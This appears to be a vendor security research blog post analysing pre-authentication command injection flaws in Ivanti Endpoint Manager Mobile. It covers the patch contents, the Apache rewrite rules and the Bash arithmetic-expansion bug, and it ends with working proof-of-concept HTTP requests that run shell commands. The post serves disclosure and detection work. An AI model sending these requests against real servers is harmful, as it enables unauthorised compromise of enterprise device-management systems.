Someone Knows Bash Far Too Well, And We Love It (Ivanti EPMM Pre-Auth RCEs CVE-2026-1281 & CVE-2026-1340)
When Ivanti removed the embargoes from CVE-2026-1281 and CVE-2026-1340 - pre-auth Remote Command Execution vulnerabilities in Ivanti’s Endpoint Manager Mobile (EPMM) solution - we sighed with relief.
Clearly, the universe had decided to continue mocking Secure-By-Design signers right on schedule - every January.

Welcome back to another monologue that doubles as some sort of industry-wide counseling session we must all get through together.
As we are always keen to remind everyone, today’s blog post didn’t ruin your weekend. Firstly, the APT currently exploiting these vulnerabilities, and secondly, your lack of response to the warnings from Ivanti and CISA did.
Very Briefly, What Is EPMM?
Ivanti Endpoint Manager Mobile (EPMM) is an enterprise mobility management (MDM/UEM) platform used to manage, secure, and enforce policy on mobile devices, apps, and content across iOS, Android, and other endpoints.
It is commonly deployed by large organizations to control corporate mobile fleets, distribute apps, and protect access to enterprise resources.
“protect”.
Move On watchTowr, What's Going On Today?
In this week's episode of "advisories issued by Ivanti" - https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US, we see that two vulnerabilities have been detailed:

As always, the following line in the advisory sticks out like a sore thumb:
We are aware of a very limited number of customers whose solution has been exploited at the time of disclosure.
“We are aware” and “very limited” are likely (in our opinion, this is probably not fact, etc etc) to be doing a significant amount of lifting.
For avoidance of doubt, the following versions of Ivanti EPMM are patched:
- None
“But watchTowr, what do you mean?”
Well, Ivanti are issuing patches-with-commitment-issues (you have to reapply after any subsequent changes in the future, or they of course get rolled back) - until Q1 2026 when they release 12.8.0.0.

Yikes?
These temporary, patches-with-commitment-issues RPMs are (as of writing) called:
- ivanti-security-update-1761642-1.0.0L-5.noarch.rpm
- ivanti-security-update-1761642-1.0.0S-5.noarch.rpm
To signal even more severity, it’s clear that this ‘is bad’ as they got insta-added to CISA’s KEV list.
So, without further ado.. let’s dig in…
The Beginning
As we mentioned, Ivanti delivered RPM patches to customers under embargo (and are still paywalled) to help implement mitigations:

For the purposes of this analysis, we’re focusing on the RPM patch relating to 12.7.0.0.
rpm doubles up as an ultra-hacking tool (put that in your IoCs, F5), allowing us to see what files are stored within the package.
We can see that it stores two uncompiled Java files:
AFTUrlMapper.javaAppStoreUrlMapper.java

So far so good! But what actually happens to those files? We can again use rpm to list the contents that will be executed during the installation.
For this purpose, we will use the following command:
rpm -qlp --scripts ivanti-security-update-1761642-1.0.0L-5.noarch.rpm
Let’s go through the important steps, one by one. The first important fragments of the script are as follows:
/etc/alternatives/javac /tmp/ivanti-security-update-1761642/AppStoreUrlMapper.java
/etc/alternatives/javac /tmp/ivanti-security-update-1761642/AFTUrlMapper.java
We can see that Java classes are being compiled - quite logical. Afterwards, we are seeing some basic filesystem-based operations.
/bin/echo "Step-2 : Applying patches..."
/bin/cp /tmp/ivanti-security-update-1761642/AppStoreUrlMapper.class /mi/bin/AppStoreUrlMapper.class
/bin/chown root:root /mi/bin/AppStoreUrlMapper.class
/bin/chmod 700 /mi/bin/AppStoreUrlMapper.class
/bin/cp /tmp/ivanti-security-update-1761642/AFTUrlMapper.class /mi/bin/AFTUrlMapper.class
/bin/chown root:root /mi/bin/AFTUrlMapper.class
/bin/chmod 700 /mi/bin/AFTUrlMapper.class
Compiled classes are moved to the /mi/bin directory and prepared for execution.
Boring stuff aside, we have reached an actually interesting part. Suddenly, the script started modifying the Apache HTTPd config:
/bin/sed -i \\
-e 's|RewriteMap mapAppStoreURL prg:/mi/bin/map-appstore-url|RewriteMap mapAppStoreURL "prg:/bin/java -cp /mi/bin AppStoreUrlMapper"|g' \\
-e 's|RewriteMap mapAftStoreURL prg:/mi/bin/map-aft-store-url|RewriteMap mapAftStoreURL "prg:/bin/java -cp /mi/bin AFTUrlMapper"|g' \\
/mi/config-system/xsl/httpd_ssl_conf.xsl
This looks like so much fun! It seems that Ivanti EPMM:
- Has two Apache
RewriteMapinstances defined. - Which point to the shell scripts:
/mi/bin/map-appstore-urland-
/mi/bin/map-aft-store-url.
After the patch, the aforementioned Bash scripts are no longer used. The patch modifies the RewriteMap instructions, which now leverage the newly introduced Java classes, entirely replacing said Bash scripts.
This clearly indicates one thing - the vulnerability must exist somewhere in those Bash scripts (or, Ivanti's new approach to vulnerabilities is to refactor everything - which honestly didn't strike us as their worst idea yet).
Reaching Bash Scripts through HTTP
As Ivanti EPMM is an HTTP-based enterprise security solution (for emphasis), and it appears that the RPM patches provided amend items within Apache's configuration - we can logically conclude that the vulnerability must be exploitable through HTTP.
As the mappings are in the Apache config, we can have another look to see where they are used.
Taking the path of least resistance to everything in life, we leveraged another hacking tool (another one for you, F5) - grep. We just grepped through the config looking for mapAppStoreURL map occurrences, and multiple results popped up.
One of them is as follows:
RewriteRule ^/mifs/c/appstore/fob/3/([0-9]+)/sha256:(.*)/(.*)(.ipa)$ ${mapAppStoreURL:$2_$1_$3_$4_%{HTTP_HOST}_%{ENV:SCRIPT_URL}} [T=application/octet-stream,UnsafePrefixStat]
Alright, so what happens here? Well, friends..
If you send the HTTP Request targeting the following endpoint: /mifs/c/appstore/fob/3/<int>/sha256:<something1>/<something2>.ipa
Apache will execute the /mi/bin/map-appstore-url Bash script with the following input:
<something1>_<int>_<something2>_.ipa_<HostHeader>_<EndpointPath>
We have everything that an attacker may dream of:
- An unauthenticated endpoint, and
- The ability to pass attacker-controlled strings to a Bash script.
Let’s do a simple experiment, using the following example HTTP request:
GET /mifs/c/appstore/fob/3/105/sha256:kid=1,st=1341879970,
h=123aabf796106cfb2ab40cbbd43ba5b44fd937f1a5856e0a95640ba6f9d71843,
et=1969735722/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa HTTP/1.1
Host: f5-research-lab-ioc-block-it-all.f5
With a little bit of tracing and debugging, we can follow this request to the inputs passed to the map-appstore-url Bash script:
kid=1,st=1341879970,h=123aabf796106cfb2ab40cbbd43ba5b44fd937f1a5856e0a95640ba6f9d71843,et=1969735722_105_e2327851-1e09-4463-9b5a-b524bc71fc07_.ipa_f5-research-lab-ioc-block-it-all.f5_/mifs/c/appstore/fob/3/105/sha256:kid=1,st=1341879970,h=123aabf796106cfb2ab40cbbd43ba5b44fd937f1a5856e0a95640ba6f9d71843,et=1969735722/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa
As you can see, we are controlling seemingly a lot of things.
Time to bleed our eyes out with Bash, then.
The One Where We Lose All Of Our Hair
At this point, we were blissful and optimistic. Everything, literally everything, looked like a straight way to the RCE. We mean, how hard can it be - surely we just inject some OS commands with some fancy mashed characters?
Ha ha, how naive we were.
We were looking at both Bash scripts for several hours, only to say that we saw absolutely no way to exploit them.
Let's start with the basics. This Bash script allows users, with all the correct ingredients, to retrieve mobile applications from the Ivanti EPMM-approved application store.
To achieve that, you need to provide the following:
kid- Index of a salt string from/mi/files/appstore-salt.txt.st- Start time for the download operation.et- End time for the download operation.h- SHA256 hash based on several inputs, which verifies whether you know the “secret” salt or not.- Appstore file to retrieve. In our sample request, it is:
e2327851-1e09-4463-9b5a-b524bc71fc07.
Assuming that the h hash in our script is correct, the HTTP response will contain the content of the /mi/files/appstore/105/secure/e2327851-1e09-4463-9b5a-b524bc71fc07 file.
Nothing fancy - just a script which retrieves a file and verifies whether you know the proper file name (GUID) and the salt, which is stored on the local filesystem.
There’s no point in boring you with the script contents so far. However, you need to know that we spent a significant amount of time exploring any and all potential command/code injection points in this Bash script , and we found nothing.
We found some minor argument injection issues, but meh.
Final Exploit - Arithmetic Expansion
Call it a divine intervention or whatever you wish, but we went for a nap, and the PoC request appeared in a dream.
It looks like this:
GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,
h=gPath%5B%60sleep%205%60%5D/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa
Let's URL decode that for those of you who haven’t stared at URL encoded values for years and can automatically decode it:
GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue ,et=1337133713,
h=gPath[`sleep 5`]/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa
Fairly bizarre, right?
Well, first of all, there are some references to the parsing of key=value, values in the map-appstore-url Bash script:
if [[ -z ${ret} ]] ; then
for theKeyMapEntry in "${theAppStoreKeyValueArray[@]}" ; do
theKey="${theKeyMapEntry%%=*}"
theValue="${theKeyMapEntry##*=}"
logDebug "${FUNCNAME}" "theKey=$theKey; theValue=$theValue"
case ${theKey} in
kid)
gKeyIndex="${theValue}"
;;
st) # [1]
gStartTime="${theValue}"
if (( ${#gStartTime} != "${kValidTimeStampLength}" )) ; then
ret="${kTimestampLengthInvalidErrorCode}"
fi
;;
et)
gEndTime="${theValue}"
if (( ${#gEndTime} != "${kValidTimeStampLength}" )) ; then
ret="${kTimestampLengthInvalidErrorCode}"
fi
;;
h) # [2]
gHashPrefixString="${theValue}"
;;
*)
ret="${kURLStructureInvalidErrorCode}"
logDenial "${FUNCNAME}" "${ret}" "unknown presented key=${theKey}; theValue=${theValue}"
;;
esac
done
fi
At [1] and [2], you can see that st and h values are assigned inside of a case. You can see a familiar reference to theValue (note st value in the HTTP request).
However, what about gPath that you can see in h argument? Well, this is just a variable that had already been defined in the Bash script:
gPath=""
The absolute magic happens at this line:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]] ; then
This is a completely harmless line, right? It just compares two timestamps.
But wait, what have we defined for the gStartTime (st in HTTP request): theValue
Note: This parameter contains two additional padding spaces at the end to ensure the string is 10 characters due to a string length validation check.
gStartTime points to theValue variable! You may remember that the theValue variable was used to extract our key=value pairs. During the for loop and case statement, what is the last value that we have extracted that has been assigned to theValue?
gPath[`sleep 5`]
During arithmetic expansion, if a variable is treated as an array and the array index contains a command substitution, the shell will execute that command while resolving the index.
In this case, the gPath variable is used, although any defined variable name would behave the same way. When the expression is expanded, the sleep 5 command is executed as part of that process.

For additional details on the magic of arithmetic expansion see this blog and this Stack Exchange thread.
In short, the Bash script uses one variable (gStartTime) to reference another variable (theValue), where a command (sleep 5) is executed as a result of arithmetic expansion and shell evaluation.
Build Your Own Detection Artefact Generator
To prove our analysis, and give you the beginnings of creating your own DAG, we present the following request, which executes the id > /mi/poc OS command:
GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,
et=1337133713,h=gPath%5B%60id%20>%20/mi/poc%60%5D/
13371337-1337-1337-1337-133713371337.ipa HTTP/1.1
Host: f5-research-lab-ioc-block-it-all.f5

The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.